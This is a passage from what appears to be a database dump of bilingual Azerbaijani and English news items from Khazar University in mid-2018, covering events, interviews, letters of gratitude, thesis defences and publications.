INSEAD-ın, Kembric Universitetin...','<p>2018-ci il iyunun 8-də <strong><em>Banker.az</em></strong> saytında Xəzər Universitetinin, INSEAD-ın, Kembric Universitetin məzunu, Microsoft, BP və PwC London kimi şirkətlərin əməkdaşı olmuş Xəyalə xanım Elyazova ilə müsahibəni yayınlamışdır.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://banker.az/həyat-və-karyeranizda-bir-secim-etdikdə-elə-bir-secim-edin-ki-sizə-butun-qapilari-aca-bilsin/\">http://banker.az/həyat-və-karyeranizda-bir-secim-etdikdə-elə-bir-secim-edin-ki-sizə-butun-qapilari-aca-bilsin/</a>.</p>'),(5732,3288,'en','Khazar University graduate gives an interview','On June 8, 2018, Banker.az website posted an interview with Khayala Eyvazova...','<p>On June 8, 2018, <strong><em>Banker.az</em></strong> website posted an interview with Khayala Eyvazova, a graduate of Khazar University, INSEAD and Cambridge University who has worked for Microsoft, BP and PwC London.</p><p>The interview can be read through the link below:</p><p><a href=\"http://banker.az/həyat-və-karyeranizda-bir-secim-etdikdə-elə-bir-secim-edin-ki-sizə-butun-qapilari-aca-bilsin/\">http://banker.az/həyat-və-karyeranizda-bir-secim-etdikdə-elə-bir-secim-edin-ki-sizə-butun-qapilari-aca-bilsin/</a>.</p>'),(5733,3289,'az','TRIZ İxtiraçılar sammiti və Xəzər Universiteti arasında TRIZ təlimlərinin təşkili sahəsində əməkdaşlıq təklifi','2018-ci il iyunun 7-də TRIZ İxtiraçılar sammitinin həmtəsisçisi Mixail Semenoviç...','<p>2018-ci il iyunun 7-də TRIZ İxtiraçılar sammitinin həmtəsisçisi Mixail Semenoviç Rubin Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya TRIZ təlimlərinin təşkili sahəsində əməkdaşlıq təklifi ilə bağlı <a href=\"/files/letters/TRIZ-mektub.pdf\">məktub</a> göndərmişdir.</p>'),(5734,3289,'en','Offer of collaboration in TRIZ trainings between TRIZ Inventors summit and Khazar University','On June 7, 2018, Mikhail Semenovich Rubin, Co-founder of TRIZ Inventors summit sent a letter...','<p>On June 7, 2018, Mikhail Semenovich Rubin, Co-founder of TRIZ Inventors summit sent a <a href=\"/files/letters/TRIZ-mektub.pdf\">letter</a>, in which M. S. Rubin offers collaboration in TRIZ trainings, to Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees.</p>'),(5735,3290,'az','“Xəzər”lilər Mikayıl Müşfiqin 110 illiyinə həsr olunmuş tədbirdə iştirak etdilər','2018-ci il iyunun 6-da Beynəlxalq Muğam Mərkəzində 1937-ci il repressiya qurbanı...','<p>2018-ci il iyunun 6-da Beynəlxalq Muğam Mərkəzində 1937-ci il repressiya qurbanı görkəmli Azərbaycan şairi Mikayıl Müşfiqin anadan olmasının 110 illiyinə həsr olunmuş VIII Şairlər günü keçirildi. Azərbaycan Yazıçılar Birliyi (AYB) tərəfindən tədbirə dəvət alan Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlı və Azərbaycan dili və ədəbiyyatı departamentinin yüksək bal toplamış tələbələrindən bir qrupu –&nbsp;gənc filoloqlar Zeynəb Bağırova, Aytac Həsənova, Pinar Məmmədzadə, Əsmər Həsənzadə, Fəridə Nadirova-Əsgərova, Müjkan Fərruxlu, Arzu Əliyeva, Səkinə Ələkbərova yubiley tədbirində iştirak etdilər.</p>'),(5736,3290,'en','Khazar University associates participate in an event dedicated to Mikayil Mushfig’s 110 anniversary','On June 6, 2018, VIII Poets Day dedicated to Mikayil Mushfig’s, a famous Azerbaijani...','<p>On June 6, 2018, VIII Poets Day dedicated to Mikayil Mushfig’s, a famous Azerbaijani poet who was a victim of repression in 1937, 110 anniversary, took place at the International Mugham Center. Gardashkhan Azizkhanli, the instructor of the Department of Azerbaijani Language and Literature of Khazar University, and a group of students of the Department of Azerbaijani Language and Literature - Zeynab Baghirova, Aytaj Hasanova, Pinar Mammadzadeh, Asmar Hasanzadeh, Farida Nadirova-Asgarova, Mujkan Farrukhlu, Arzu Aliyeva and Sakina Alekberova, received an invitation by the Union of Azerbaijani Writers to the event.</p>'),(5737,3291,'az','“Sənin baxışın” adlı rəsm müsabiqəsinin yekun tədbiri olacaq','2018-ci il iyunun 11-i saat 16:00-da Xəzər Universitetinin İqtisadiyyat və menecment fakultəsinin...','<p>2018-ci il iyunun 11-i saat 16:00-da Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin “The Same” komandası, universitetin Dizayn departamenti və Xətai Sənət Mərkəzinin təşkilatçılığı ilə birgə elan etdiyi “Sənin baxışın” adlı rəsm müsabiqəsinin yekun tədbiri Xətai Sənət Mərkəzində (Ünvan: Xətai rayonu, Xocalı prospekti, 62) keçiriləcək. 45-dən artıq rəsm əsərinin nümayiş olunacağı sərgidə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və bir neçə xalq rəssamı çıxış edəcəklər. Münsiflər heyətinin müəyyən etdiyi qaliblərə hədiyyələr veriləcək.</p><p>Maraqlanan hər kəs dəvətlidir.</p>'),(5738,3291,'en','The final stage of competition “Your view” takes place','The final stage of competition “Your view”, which is organized by “The Same” team of the...','<p>The final stage of competition “Your view”, which is organized by “The Same” team of the School of Economy and Management, and the Department of Design of Khazar University as well as Khatai Art Center (Address: Khatai dist., Khojali ave., 62), will take place at 16:00 on June 11, 2018. Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, as well as several People’s Artists, will deliver speeches at the exhibition at which more than 45 paintings will be displayed. The winners, which will be defined by the jury, will be presented with gifts. Everybody is welcome to the exhibition.</p>'),(5739,3292,'az','Humanitar və sosial elmlər fakültəsinin əməkdaşları Uşaq Evində oldular','2018-ci il iyunun 6-da Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin...','<p>2018-ci il iyunun 6-da Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekanlığının əməkdaşları və 1-ci kurs tələbələrinin təşəbbüsü ilə “Ümid yeri” Uşaq Evində kimsəsiz uşaqlarla görüş təşkil olundu. Uşaqlara oyuncaq, paltar və ərzaq məhsullarından ibarət hədiyyələr təqdim olundu. Bu görüşün körpələr üçün yaddaqalan olmasını təmin etmək üçün müxtəlif əyləncəli oyunlar keçirildi.</p><p>Uşaq Evinin rəhbərliyi Xəzər Universitetinə öz dərin təşəkkürlərini bildirərək, belə görüşlərin tez-tez keçirilməsinin uşaqlar üçün olduqca vacib mənəvi dəstək olduğunu qeyd etdilər.</p>'),(5740,3292,'en','Associates of the School of Humanities and Social Sciences visit an orphanage','On June 6, 2018, associates of Dean’s office and first year students of the School of Humanities...','<p>On June 6, 2018, associates of Dean’s office and first year students of the School of Humanities and Social Sciences visited orphans at “Umid yeri” orphanage. Children were given presents such as toys, clothes and food. Moreover, children were involved in entertaining games to make the meeting a memorable occasion.</p><p>The Administration of the Orphanage thanked Khazar University and added that these kinds of meetings are of special importance for the children.</p>'),(5741,3293,'az','Professor Hamlet İsaxanlıya təşəkkür məktubu gəldi','2018-ci il mayın 21-dən 24-dək Xəzər Universitetinin Riyaziyyat departamentinin təşkilatçılığı...','<p>2018-ci il mayın 21-dən 24-dək Xəzər Universitetinin Riyaziyyat departamentinin təşkilatçılığı, Azərbaycan, Rusiya, Gürcüstan, Türkiyə, Ukrayna, ABŞ, İsveç və Birləşmiş Ərəb Əmirliklərinin nümayəndələrindən ibarət Beynəlxalq Təşkilat Komitəsinin rəhbərliyi ilə universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının (İsayev) 70 illik yubileyinə həsr olunmuş “Riyazi fizikanın operatorları, funksiyaları və sistemləri” mövzusunda keçirilmiş beynəlxalq konfransın iştirakçılarından riyaziyyat üzrə elmlər doktoru, Koç Universitetinin professoru Varqa Kələntərov H.İsaxanlıya təşəkkür məktubu göndərmişdir. Məktubda deyilir: “Konfrans bitdikdən bir gün sonra İstanbula döndüm. Bu günlər hələ&nbsp;konfransın təsiri altındayam. Gördüklərim, eşitdiklərim və öyrəndiklərim haqqında yaxınlarım və yoldaşlarımla paylaşıram. İstanbulda və Ankarada differensial tənliklər ilə əlaqəli çox daha kiçik bir neçə toplantının təşkilində mən də iştirak etmişəm. A.Aleksandrov, A.Belavin, M. Belishev, A. Helemski , B. Mtyagin, G.Rosenblyum kimi məşur alimlərin və bir sıra parlaq gənclərin iştirakı ilə konfransın təşkil edilməsinin nə qədər çətin olduğunu təxmin edirəm. Dünya səviyyəsində belə bir toplantıya dəvət edildiyim üçün təkrar çox təşəkkür edirəm”.</p>'),(5742,3293,'en','Hamlet Isakhanli receives a letter of gratitude','Varga Kalantarov, PhD in Math and Professor at Koç University...','<p>Varga Kalantarov, PhD in Math and Professor at Koç University, sent a letter of gratitude to Hamlet Isakhanli. Varga Kalantarov participated in the international conference “Operators, Functions, and Systems of Mathematical Physics” which was held on May 21-24, 2018, on organizational support of the Department of Mathematics of Khazar University, and under the supervisio of International Organization Committee consisting of delegates from Azerbaijan, Russia, Georgia, Turkey, Ukraine, the United States, Sweden and the United Arab Emirates. In the letter, it says: “I came back to Istanbul on the following day of the conference. I am still under the impression of the conference. I share my experience with my close friends. I have contributed to organising of some small meetings on differential equations in Istanbul and Ankara. I can figure out how it is hard to organize a conference which is attended by prominent scholars -A.Aleksandrov, A.Belavin, M. Belishev, A. Helemski, B. Mtyagin, G.Rosenglum and talented younger researchers. Again, I express my gratitude for being invited to the conference of global importance.”</p>'),(5743,3294,'az','“The SAME” komandası “Tələbə dünyası” verilişində','2018-ci il iyun 8-də Yaşıddan-Yaşıda Facebook Qlobal Rəqəmsal Müsabiqəsində...','<p>2018-ci il iyun 8-də Yaşıddan-Yaşıda Facebook Qlobal Rəqəmsal Müsabiqəsində (Peer to Peer Facebook Global Digital Challenge) iştirak edən Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin koordinatoru Dr. Bahadır Baysal və “The SAME” komandası “Tələbə dünyası” verilişində çıxış etdilər.</p><p>Verilişi aşağıdakı linkdən izləmək olar:</p><p><a href=\"http://www.aztv.az/canli/aztv-canli.htm\">http://www.aztv.az/canli/aztv-canli.htm</a>.</p>'),(5744,3294,'en','“The SAME” at “Student’s World” Program','On Friday, June 8, 2018, Dr. Bahadir Baysal, coordinator of School of Economics...','<p>On Friday, June 8, 2018, Dr. Bahadir Baysal, coordinator of School of Economics and Management, Khazar University and his team “The SAME”, who participate in the Peer to Peer Facebook Global Digital Challenge, appeared on local TV in the “Student’s World” program (the program is in Azerbaijani language).</p><p>The program can be watched via the following link:</p><p><a href=\"http://www.aztv.az/canli/aztv-canli.htm\">http://www.aztv.az/canli/aztv-canli.htm</a>.</p>'),(5745,3295,'az','“Xəzər Xəbər” jurnalının may nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2018-ci il may nömrəsi (373-cü nömrə) Xəzər Universitetinin...','<p>“Xəzər Xəbər” jurnalının 2018-ci il may nömrəsi (373-cü nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(5746,3295,'en','May issue of “Khazar Review” journal is published','May 2018 issue of “Khazar Review” journal (number 373) has been published...','<p>May 2018 issue of “Khazar Review” journal (number 373) has been published at the Khazar University press. The journal is available at</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>.</p>'),(5747,3296,'az','Peşə mərkəzi','Peşə mərkəzi',''),(5748,3296,'en','Career Center','Career Center',''),(5749,3297,'az','Əlilliyi olan tələbələr üçün mərkəz','Əlilliyi olan tələbələr üçün mərkəz',''),(5750,3297,'en','Center for Students with Disabilities','Center for Students with Disabilities',''),(5909,3382,'az','Xəzər Universitetinin bir qrup əməkdaşına Qurban payı verilmişdir','2018-ci il  avqustun 21-də Xəzər Universitetinin bir qrup əməkdaşına...','<p>2018-ci il avqustun 21-də Xəzər Universitetinin bir qrup əməkdaşına Azərbaycan Dövlət İdarələri və İctimai Xidmət İşçiləri Həmkarlar İttifaqı Nizami rayon təşkilatı tərəfindən Qurban payı verilmişdir.&nbsp;&nbsp;</p>'),(5910,3382,'en','A group of Khazar University associates  have been given the share of Eid al-Adha','On August 21, 2018, a group of Khazar University associates were given the share...','<p>On August 21, 2018, a group of Khazar University associates were given the share of Eid al-Adha by Nizami District Office of Azerbaijani State Administration and Public Service Workers\' Trade Union.</p>'),(5911,3381,'en','Khazar University graduate has won the marathon conducted in Georgia','On August 20, 2018, aznews.az, the news portal, released the news that Aygul Isayeva...','<p>On August 20, 2018, aznews.az, the news portal, released the news that Aygul Isayeva, &nbsp;a &nbsp;graduate and former employee of Khazar University, succeeded in the marathon \"Wings for Life - World Run\" conducted in Georgia and Fuad Muradov, Chairman of the State Committee for Work with Diasporas of the Republic of Azerbaijan, sent her a congratulatory letter in this regard.&nbsp;</p><p>According to the report, Aygul Isayeva took the 3<sup>rd </sup>place among women, having run &nbsp;21.1 km distance for 1 hour 56 minutes, participating in a half - marathon which was attended &nbsp;by professionals and conducted in Kvareli on June 17, 2018. Having set great goals, our compatriot has also successfully completed the full marathon (42 km) in the Kazbeki Mountains in Georgia.</p><p>The full text of the news is available at:</p><p><a href=\"http://www.aznews.az/news/cemiyyet/182561.html#Kalibri\">http://www.aznews.az/news/cemiyyet/182561.html#Kalibri</a><br></p>'),(5751,3298,'en','Farewell Party for a Fulbright Scholar Mr. Robert Jecklin','On June 8, 2018, a farewell party for the Fulbright scholar Mr. Robert Jecklin...','<p>On June 8, 2018, a farewell party for the Fulbright scholar Mr. Robert Jecklin, Assistant Professor of University of Wisconsin-La Crosse was held at Culture Center of Khazar University.</p><p>Prof. Hamlet Isakhanli, founder of Khazar University, Chairman of its Board of Directors and Trustees, Vice-Rector Assoc. Prof. Irada Khalilova, the University’s senior teacher Dr. Firangiz Nasirova and others shared their memories with Mr. Jecklin, highly priced his personal qualities and professional skills, appreciated his commitment to his job and wished him success in all his beginnings.</p><p>Mr. Jecklin thanked everyone for kind words and wishes and said that he would always remember Khazar University staff and students as sincere and warm people.</p><p>On behalf of colleagues Ms. Khalilova presented gifts to Mr. Jecklin.</p><p>A memory photo was taken with Mr. Jecklin and Khazarians at the end of the party.</p>'),(5752,3298,'az','Fulbright təqaüdçüsü Robert Jecklin-in yolasalma mərasimi','2018-ci il iyunun 8-də Xəzər Universitetinin Mədəniyyət Mərkəzində Fulbright təqaüdçüsü...','<p>2018-ci il iyunun 8-də Xəzər Universitetinin Mədəniyyət Mərkəzində Fulbright təqaüdçüsü Wisconsin La-Crosse universitetinin dosenti Robert Jecklinin yolasalma tədbiri keçirildi.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Elmi işlər üzrə prorektor dosent İradə Xəlilova, baş müəllim Firəngiz Nəsirova və digərləri R.Jecklin-lə olan xatirələrini bölüşərək, onun şəxsi keyfiyyətlərini və peşəkar bacarıqlarını yüksək qiymətləndirdiklərini, işinə olan fədakarlığını təqdir etdiklərini bildirdilər və yeni işlərində uğurlar arzuladılar.</p><p>Cənab Jecklin səmimi sözlər və arzulara görə hər kəsə təşəkkür etdi, Xəzər Universiteti kollektivini və tələbələrini səmimi və mehriban insanlar kimi həmişə xatırlayacağını bildirdi.</p><p>Bundan sonra xanım Xəlilova Robert Jecklinə həmkarları adından hədiyyələr təqdim etdi.</p><p>Tədbirin sonunda cənab Jecklin “Xəzərli”lərlə xatirə şəkli çəkdirdi.</p>'),(6405,3635,'az','Elanlar','Elanlar','<h3>“Tələbə öyrənməsinin sinifdə qiymətləndirilməsi” adlı seminar keçiriləcək<br></h3><p>2018-ci il noyabrın 26-sı saat 15:00-da Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı ilə Təhsil fakültəsinin Fulbright Professoru Dr. Qaisar Sultananın (Təhsil Kolleci, Kentuki Universiteti, ABŞ) təqdimatında “<em>Tələbə öyrənməsinin sinifdə qiymətləndirilməsi</em>” adlı seminar keçirilməsi nəzərdə tutulur. Seminar “Neftçilər” kampusu Ömürboyu Təhsil Mərkəzində (Yeni Bina, 5-ci mərtəbə) keçiriləcək.</p><p>Maraqlanan hər kəs seminara dəvət olunur.</p><p>Qeyd edək ki, bu təlim Erasmus Plus PETRA layihəsi (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP) çərçivəsində həyata keçirilir.</p>'),(5753,3299,'az','Xəzər Universiteti müəlliminin şeirlər kitabı çapdan çıxdı','2018-ci il iyunun 11-də Azərbaycan Dövlət İnformasiya Agentliyi...','<p>2018-ci il iyunun 11-də Azərbaycan Dövlət İnformasiya Agentliyi (AZƏRTAC) Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının seçmə şeirlərindən ibarət “İlkim də sən, indim də sən, sonum sən” adlı kitabının nəşr edilməsi haqqında məlumat yaymışdır.</p><p>Xəbərdə deyilir ki, tanınmış şair Qardaşxan Əzizxanlının altmış illiyində nəşr edilən “İlkim də sən, indim də sən, sonum sən” adlı poetik toplusuna onun “Qaşla göz arasında”, “Otuz yeddini keçəndə”, “Ürəyin baxdığı yerdən” kitablarından seçmələr də salınmışdır. 1000 nüsxə tirajla çapdan çıxan bu poetik “Divan”da məhəbbət, Vətən, sənət, həyat və dünya haqqında şeirlər toplanmışdır. Fərqli bədii tərtibatı ilə diqqət çəkən kitabın bir orijinallığı da onun oxucuya, eyni zamanda, məzmunca fərqlənməyən ikinci adla təqdim edilməsidir: “İlkimdəsən, indimdəsən, sonumsan”.</p><p>“Poliqlot” bölməsində Q.Əzizxanlının ingilis, alman və rus dillərinə tərcümə edilmiş şeirlərindən nümunələr və onun alman şairləri Y.V.Höte və H.Haynedən tərcümələri yer alıb”.</p><p>Xəbərin linki:</p><p><a href=\"https://azertag.az/xeber/Sair_Qardasxan_Azizxanlinin_Ilkim_de_sen_indim_de_sen_sonum_sen_kitabi_chapdan_chixib-1171348\">https://azertag.az/xeber/Sair_Qardasxan_Azizxanlinin_Ilkim_de_sen_indim_de_sen_sonum_sen_kitabi_chapdan_chixib-1171348</a>.</p>'),(5754,3299,'en','A book by a Khazar University instructor published','On June 11, 2018, the Azerbaijan State News Agency – (AZERTAC) posted news about...','<p>On June 11, 2018, the Azerbaijan State News Agency – (AZERTAC) posted news about the publication of the book of selected poems entitled “You are the beginning, the present and the end of mine” by Gardashkhan Azizkhanli, instructor of the Department of Azerbaijani Language and Literature of Khazar University.</p><p>According to the news, the new book, released at sixties anniversary of the poet, includes selected poems from author’s previous books entitled “Between eyebrow and eyes”, “When passed 37 years old” and “From where the heart looks at”. The poetic “Divan”, which has been published in 1000 copies, includes poems about love, motherland, art, life and world. The book is noteworthy for its distinguished design, which also has a second name similar to the first one in terms of content: “You are in the beginning, the present and the end of mine”.</p><p>The chapter “Polyglot” of the book, contains Gardashkhan Azizkhanli’s poems translated into the English, German and Russian languages as well as poems by J.W. Goethe and H. Heine translated by Gardashkhan Azizkhanli.</p>\r\n<p>The link for the news:</p><p><a href=\"https://azertag.az/xeber/Sair_Qardasxan_Azizxanlinin_Ilkim_de_sen_indim_de_sen_sonum_sen_kitabi_chapdan_chixib-1171348\">https://azertag.az/xeber/Sair_Qardasxan_Azizxanlinin_Ilkim_de_sen_indim_de_sen_sonum_sen_kitabi_chapdan_chixib-1171348</a>.</p>'),(5755,3300,'az','Xəzər Universitetinə təşəkkür məktubları gəlir','2018-ci il mayın 21-dən 24-dək Xəzər Universitetinin Riyaziyyat departamentinin təşkilatçılığı...','<p>2018-ci il mayın 21-dən 24-dək Xəzər Universitetinin Riyaziyyat departamentinin təşkilatçılığı, Azərbaycan, Rusiya, Gürcüstan, Türkiyə, Ukrayna, ABŞ, İsveç və Birləşmiş Ərəb Əmirliklərinin nümayəndələrindən ibarət Beynəlxalq Təşkilat Komitəsinn rəhbərliyi ilə universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının (İsayev) 70 illik yubileyinə həsr olunmuş “Riyazi fizikanın operatorları, funksiyaları və sistemləri” mövzusunda keçirilmiş beynəlxalq konfransın iştirakçıları –Varqa Kələntərov (Tükiyə), Yaudat Sultanaev (Rusiya), Andrey Şafareviç (Rusiya), Aleksandr Helemski (Rusiya), Aleksey Kosetenko (Avstriya), Boris Mityagin (ABŞ), Nikolay Marçuk (Rusiya), Qalina Zaqrebnova (Fransa), Tavxelide Kordialli (Georgia), Qrigori Rozenblioum (İsveç), Roman Bessonov (Rusiya), V.V.Peller (ABŞ), Mark Malamud (Ukraina), A.L.Skubaçevski (Rusiya), Roland Duduçava (Gürcüstan), Aleksandr Belavin (Rusiya), Mixail Şeftel (Rusiya) təşəkkür məktubu göndərmişlər. Məktublarda Professor İsaxanlıya, təşkilat komitəsinin üzvlərinə, ümumilikdə Xəzər Universitetinə konfransın yüksək səviyyədə keçirildiyinə görə təşəkkür edilir.</p>'),(5756,3300,'en','Khazar University receives letters of gratitude','On May 21-24, 2018, the international conference “Operators, Functions, and Systems...','<p>On May 21-24, 2018, the international conference “Operators, Functions, and Systems of Mathematical Physics” was held on organizational support of the Department of Mathematics of Khazar University and under supervision of International Organization Committee consisting of delegates from Azerbaijan, Russia, Georgia, Turkey, Ukraine, the United States, Sweden and the United Arab Emirates. Participants of the international conference – Varga Kalantarov (Turkey), Yaudat Sultanaev (Russia), Andrey Shafarevic (Russia), Aleksandr Helenski (Russia), Aleksey Kosetenko (Austria), Boris Mityagin (USA), Nikolai Marchuk (Russia), Galina Zagrebnova (France), Tawkhelide Kordialli (Georgia), Grigori Rozenblioum (Sweden), Roman Bessonov (Russia), V.V.Peller (USA), Mark Malamud (Ukraine), A.L.Skubachevsky (Russia), Roland Duduchava (Georgia), Alexander Belavin (Russia), Mikhail Sheffield (Russia) have sent letters of gratitude to organization committee and Khazar University for high-level organization of the conference.</p>'),(5757,3301,'en','Thesis defence of graduate students of the School of Humanities and Social Sciences held','On June 12, 2018, thesis defence of graduate students of the School of Humanities...','<p>On June&nbsp;12, 2018, thesis defence of graduate students of the School of Humanities and Social Sciences, was held. Assoc.Prof. Irada Khalilova (Chair), Vice-rector for Research of Khazar University, declared the defence process open. The members of defence counsil included Assoc.Prof. Jabir Khalilov, Dean of the School of Humanities and Social Sciences; Dr. Laman Verdiyeva, Assoc.Prof.; Mushfig Mustafayev and PhD student Melek Karimova. Nilufar Alizadeh was the secretary of the council.</p><p>Graduate students of the Department of Psychology –   Aydan Ibrahimova, Aysel Mammadzade, Farida Asadova, Guler Zamanzade, Ilaha Muradova, Gadamli Ismayilova, Nigar Musayeva, Rahima Eldarova, Tahmina Rasulzade, Zeynab Hajamova, and Nigar Mukhdasanova defended their theses successfully.</p>'),(5758,3301,'az','Humanitar və sosial elmlər fakültəsinin magistr tələbələrinin müdafiəsi keçirildi','2018-ci il iyunun 12-də Humanitar və sosial elmlər fakültəsinin magistr tələbələrinin tezislərinin...','<p>2018-ci il iyunun&nbsp;12-də Humanitar və sosial elmlər fakültəsinin magistr tələbələrinin tezislərinin müdafiəsi keçirildi. Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə Xəlilova (sədr) müdafiəni açıq elan etdi. Müdafiə şurasının üzvləri –Humanitar və sosial elmlər fakültəsinin dekanı dosent Cabir Xəlilov, Dr. Ləman Verdiyeva, dosent Müşviq Mustfayev, doktorant Mələk Kərimova, şuranın katibi isə Nilufər Əlizadə idilər.</p><p>Psixologiya departamentinin magistr tələbələri – Aydan İbrahimova, Aysel Məmmədzadə, Fəridə Əsədova, Gülər Zamanzadə, İlahə Muradova, Qədəmli İsmayılova, Nigar Musayeva, Rəhimə Eldarova, Təhminə Rəsulzadə, Zeynəb Həcəmova, Nigar Müxdəsənova uğurla tezislərini müdafiə etdilər.</p>'),(5759,3302,'az','“Sənin baxışın” adlı rəsm sərgisinin yekun tədbiri baş tutdu','2018-ci iyunun 11-də Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin “THE SAME...','<p>İyunun 11-də Xətai Sənət Mərkəzində Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin “THE SAME” komandasının planlarından biri olan təsviri sənətdə “Sənin baxışın” sərgi-müsabiqəsinin yekun tədbiri universitetin Dizayn departamentinin təşkilatçılığı və birgə səyi ilə keçirildi. Sərginin əsas məqsədi irqçilik və ayrı-seçkiliyə gənclərin və uşaqların gözü ilə yanaşmaq idi.</p><p>Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli, İqtisadiyyat və menecment fakültəsinin, eyni zamanda, “THE SAME” komandasının koordinatoru Dr. Bahadır Baysal, Türkiyənin Azərbaycandakı səfirliyinin mədəniyyət və turizm müşaviri İrfan Çiftçi, Amerika səfirliyindən Rumina Mürşüdova, xalq rəssamı, Azərbaycan Rəssamlar İttifaqının katibi Ağaəli İbrahimov, əməkdar incəsənət xadimi, sənətşünas Ziyadxan Əliyev, əməkdar rəssam, Azərbaycan Rəssamlar İttifaqının gənclər bölməsinin sədri Tahir Məmmədov, əməkdar mədəniyyət iscisi, quruluşçu rəssam Rafael Əsədov, əməkdar mədəniyyət işçisi, animator Elçin Axundov, rəssam-dizayner - DTS muzeyinin və Xəzər Universitetinin Dizayn departamentinin müdiri Afaq Kərimova, Xətai Sənət Mərkəzinin direktoru Zahid Əvəzov və digər elm, sənət xadimləri iştirak edirdilər.</p><p>Komanda üzvlərinin və qonaqların çıxışlarından sonra musiqi sədaları altında sərgi açıq elan edildi. Sərgidə iki mərhələli seçimdən sonra 41 iştirakçının əl işi nümayiş olunurdu. Görkəmli rəssamlar və qonaqlar əsərləri bir-bir qiymətləndirdilər. Qaliblər həm uşaq kateqoriyasından, həm də gənclər kateqoriyasından seçildi. Birinci yeri Xəzər Universitetinin”Dizayn” ixtisai üzrə təhsil alan tələbəsi Ayan Novruzova, üçüncü yeri isə universitetin gənc müəllimi Leyla Salayeva mövzuya tam cavab verən mənalı əl işləri ilə qazandılar. Qaliblərə və iştirakçılara hədiyyələr, diplomlar təqdim olundu.</p><p>Tədbir iştirakçılarına Xəzər Universiteti Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu Zülfiyyə Sadıqovanın rəhbərliyi ilə konsert proqramı təqdim olundu. Universitetin Humanitar və sosial elmlər fakültəsinin tələbələri Günel Ələsgərova və Turan Məmmədova müxtəlif mahnılar, Roman Azaflı aşıq havaları ifa etdilər.</p><p>AZƏRTAC Dövlət İnformasiya Agentliyi, AzTV-nin Mədəniyyət kanalı, İctimai TV və digər kütləvi informasiya vasitələrindən olan media mənsubları iştirakçılardan və qonaqlardan müsahibə aldılar, tədbiri işıqlandırdılar.</p>'),(5760,3302,'en','The final stage of competition “Your view” held','On June 11, on organizational support and joint effort of the Department of Design of the University...','<p>On June 11, on organizational support and joint effort of the Department of Design of the University, the final ceremony of “Your view”, a competition-based exhibition, which was one of the plans of “The Same” team of the School of Economics and Management, took place at Khatai Art Center. The aim of the exhibition was to look at racism and discrimination through the eyes of children and the youth.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Alovsat Amirbeyli, Director for Public Relations and Media, Dr. Bahadir Baysal, Coordinator of the School of Economics and Management and “The Same” team, Irfan Chiftchi, Culture and Tourism Advisor to the Turkish Embassy in Azerbaijan, Rumina Murshudova, a representative of the USA Embassy, Agahali Ibrahimov, Secretary of the Union of Artists of Azerbaijan, Ziyadkhan Aliyev, Honored Art Worker and Art Critic, Tahir Mammadov, Honored Artist and Chair of the Division of the Youth of the Union of Artists of Azerbaijan, Rafael Asadov, Honored Art Worker and Artist, Elchin Akhundov, Honored Art Worker and Animator, Afag Karimova, Chair of the Department of Design of Khazar University, Zahid Avazov, Director of Khatai Art Center and other science and art figures participated at the event.</p><p>After speeches of team members and guests, the exhibition was announced open under music. After a two-stage selection process, paintings of 41 participants were demonstrated at the exhibition. Prominent artists and guests evaluated all the paintings. The winners were classified into two groups - children and youth. Ayan Novruzova, Khazar University student majoring in Design, and Leyla Salayeva, a young instructor of the University, held the first and the third places respectively. The winners and participants were presented with gifts and diplomas.</p><p>A concert program, performed under the guidance of Assoc.Prof. Zulfiyya Sadigova, Head of the Department of Music and Fine Arts of Khazar University, was presented to the participants. Gunel Alasgarova and Turan Mammadov, students of the School of Humanities and Social Sciences, sang songs. Besides, Roman Azafli performed ashig songs.</p><p>AZERTAC Azerbaijan State News Agency, “Medeniyyet” channel of AzTV, “Ictimai” TV and other mass media agencies covered the ceremony taking interviews from the participants and guests.</p>'),(5761,3303,'az','Hamlet İsaxanlının ilk kitabı –“Şairin ilk kitabı” layihəsində','2018-ci il iyunun 11-də Artkaspi.az “Şairin ilk kitabı” layihəsi çərçivəsində...','<p>2018-ci il iyunun 11-də <strong><em>Artkaspi.az</em></strong> “Şairin ilk kitabı” layihəsi çərçivəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının ilk kitabından –“Təzadlar”dan (2001) şeirlər və şəkillər təqdim etmişdir.</p><p>H.İsaxanlının ilk kitabından nümunələrlə daha geniş çəkildə bu link vasitəsilə tanış olmaq olar:</p><p><a 